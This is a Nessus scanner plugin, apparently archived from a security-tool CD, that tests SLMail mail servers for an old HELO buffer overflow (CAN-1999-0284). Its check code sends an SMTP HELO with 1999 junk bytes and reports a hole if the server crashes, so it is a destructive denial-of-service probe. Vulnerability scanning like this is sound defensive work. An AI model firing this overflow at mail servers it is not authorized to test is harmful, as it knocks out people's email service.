home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / slmail_helo.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  104 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10256);
  10.  script_version ("$Revision: 1.19 $");
  11.  script_cve_id("CAN-1999-0284");
  12.  
  13.  name["english"] = "SLMail MTA 'HELO' denial";
  14.  name["francais"] = "DΘni de service 'HELO' contre le MTA SLMail";
  15.  script_name(english:name["english"], francais:name["francais"]);
  16.  
  17.  desc["english"] = "
  18. There might be a buffer overflow when this MTA is issued the 'HELO' command
  19. issued by a too long argument. 
  20.  
  21. This problem may allow an attacker to execute arbitrary code on this computer,
  22. or to disable your ability to send or receive emails.
  23.  
  24. Solution : contact your vendor for a patch.
  25. Risk factor : High";
  26.  
  27.  
  28.  desc["francais"] = "Il y a un dΘpassement
  29. de buffer lorsque ce MTA recoit la commande
  30. HELO suivie d'un argument trop long. 
  31.  
  32. Ce problΦme peut permettre α un pirate
  33. d'executer du code arbitraire sur
  34. votre machine, ou peut vous empecher
  35. d'envoyer et de recevoir des messages.
  36.  
  37. Solution : contactez votre vendeur pour
  38. un patch.
  39.  
  40. Facteur de risque : ElevΘ";
  41.  
  42.  
  43.  script_description(english:desc["english"], francais:desc["francais"]);
  44.  
  45.  summary["english"] = "Overflows the remote SMTP server";
  46.  summary["francais"] = "Overflow le serveur SMTP distant";
  47.  script_summary(english:summary["english"], francais:summary["francais"]);
  48.  
  49.  script_category(ACT_DESTRUCTIVE_ATTACK);
  50.  
  51.  
  52.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  53.         francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  54.  family["english"] = "SMTP problems";
  55.  family["francais"] = "ProblΦmes SMTP";
  56.  script_family(english:family["english"], francais:family["francais"]);
  57.  script_dependencie("find_service.nes", "sendmail_expn.nasl");
  58.  script_exclude_keys("SMTP/wrapped", "SMTP/postfix");
  59.  script_require_ports("Services/smtp", 25);
  60.  exit(0);
  61. }
  62.  
  63. #
  64. # The script code starts here
  65. #
  66.  
  67. include("smtp_func.inc");
  68.  
  69. port = get_kb_item("Services/smtp");
  70. if(!port)port = 25;
  71.  
  72. if(get_port_state(port))
  73. {
  74.  soc = open_sock_tcp(port);
  75.  if(soc)
  76.  {
  77.   s = smtp_recv_banner(socket:soc);
  78.   if(!s)exit(0);
  79.   if(!egrep(pattern:"^220 .*", string:s))
  80.   {
  81.    close(soc);
  82.    exit(0);
  83.   }
  84.   
  85.   
  86.   c = string("HELO ", crap(1999), "\r\n");
  87.   send(socket:soc, data:c);
  88.   s = recv_line(socket:soc, length:1024);
  89.   if(!s)
  90.   {
  91.    close(soc);
  92.    soc = open_sock_tcp(port);
  93.    if(soc) s = smtp_recv_banner(socket:soc);
  94.    else s = NULL;
  95.    if(!s)
  96.    {
  97.     set_kb_item(item:string("SMTP/", port, "/helo_overflow"), value:TRUE);
  98.     security_hole(port);
  99.    }
  100.   }
  101.   close(soc);
  102.  }
  103. }
  104.